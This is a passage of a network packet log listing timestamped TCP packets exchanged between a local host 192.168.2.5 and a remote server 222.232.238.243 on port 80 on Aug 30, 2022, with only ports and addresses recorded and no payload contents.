Aug 30, 2022 15:54:40.699541092 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699569941 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699594975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699599028 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699614048 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699624062 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699816942 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699846029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699872017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699872971 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699896097 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699903011 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699932098 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699958086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699965000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699989080 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700016022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700042963 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700050116 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.700073004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700069904 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.700201035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700228930 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700254917 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700283051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.700277090 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.700306892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.704492092 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.996284008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996352911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996470928 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996507883 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.996541977 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996630907 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996699095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996711016 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.996741056 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996759892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.996792078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996833086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996874094 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996907949 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.996913910 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.996952057 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.996958971 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997003078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997040033 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997071981 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997078896 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997100115 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997119904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997159004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997198105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997222900 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997236967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997257948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997278929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997319937 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997358084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997451067 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997448921 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997489929 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997490883 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997529984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997569084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997586966 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997607946 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997626066 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997648001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997688055 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997725964 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997745991 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997765064 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.997781992 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.997803926 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998153925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998195887 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998230934 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.998234034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998275042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998276949 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.998315096 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998331070 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.998353958 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998490095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998529911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.998553991 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.998601913 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999317884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999401093 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999443054 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999484062 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999525070 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999566078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999608994 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999649048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999656916 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999680996 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999690056 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999730110 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999768972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999795914 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999808073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999833107 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999847889 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999887943 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999927998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.999929905 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999969006 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.999969006 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000010967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000031948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000051022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000088930 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000130892 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000154972 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000171900 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000211954 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000226021 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000252962 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000291109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000324011 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000329971 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000399113 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000437021 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000478029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000518084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000538111 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000555992 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000595093 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000617981 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000633955 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000674009 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000699043 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000715017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000755072 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000787973 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000796080 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000837088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000864029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000874996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000914097 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000940084 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.000956059 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.000996113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001004934 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001038074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001072884 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001075983 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001116037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001154900 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001167059 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001194000 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001204014 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001235008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001274109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001312971 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001324892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001353979 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001362085 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001393080 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001434088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001441002 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.001473904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001512051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.001562119 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.004637003 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.004683018 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.004724979 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.004724979 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.004764080 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.004832029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297497034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297525883 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297544003 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297560930 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297579050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297595978 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297614098 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297621012 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297631025 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297648907 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297666073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297682047 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297683954 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297691107 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297702074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297719002 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297728062 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297735929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297740936 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297753096 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297770023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297780991 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297785997 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297804117 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297811031 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297821999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297840118 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297857046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297866106 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297873974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297889948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297892094 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297909975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297919035 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297945976 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.297967911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.297983885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298001051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298017979 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298029900 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298033953 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298052073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298069000 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298084974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298088074 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298125982 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298135042 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298197031 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298214912 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298244953 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298261881 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298278093 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298294067 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298295021 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298310995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298321009 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298329115 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298340082 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298346996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298365116 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298374891 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298381090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298398972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298408031 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298418045 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298435926 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298439026 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298453093 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298470020 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298485994 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.298495054 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.298518896 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.299793959 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299835920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299851894 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299869061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299885035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299901962 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299917936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299935102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299938917 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.299952030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299968004 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.299969912 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.299976110 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.299993992 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301186085 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301203012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301218987 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301234007 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301249027 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301264048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301275969 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301280975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301296949 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301305056 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301314116 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301326990 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301330090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301347017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301358938 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301362991 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301379919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301394939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301409960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301409960 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301426888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301438093 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301443100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301450968 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301460028 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301475048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301484108 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301491022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301525116 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301527023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301548004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301565886 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301568031 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301590919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301610947 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301630974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301635027 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301651955 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301661015 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301676035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301697016 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301697969 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301718950 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301737070 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301740885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301764011 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301784992 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301804066 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301805973 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301826954 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301845074 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301848888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301872015 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301872015 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301892996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301912069 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301913977 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301935911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301959038 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.301975965 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.301979065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302000999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302001953 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302021980 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302046061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302062988 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302066088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302088022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302088976 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302112103 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302131891 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302151918 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302155018 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302179098 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302232981 CEST	80	49728	222.232.238.243	192.168.2.5
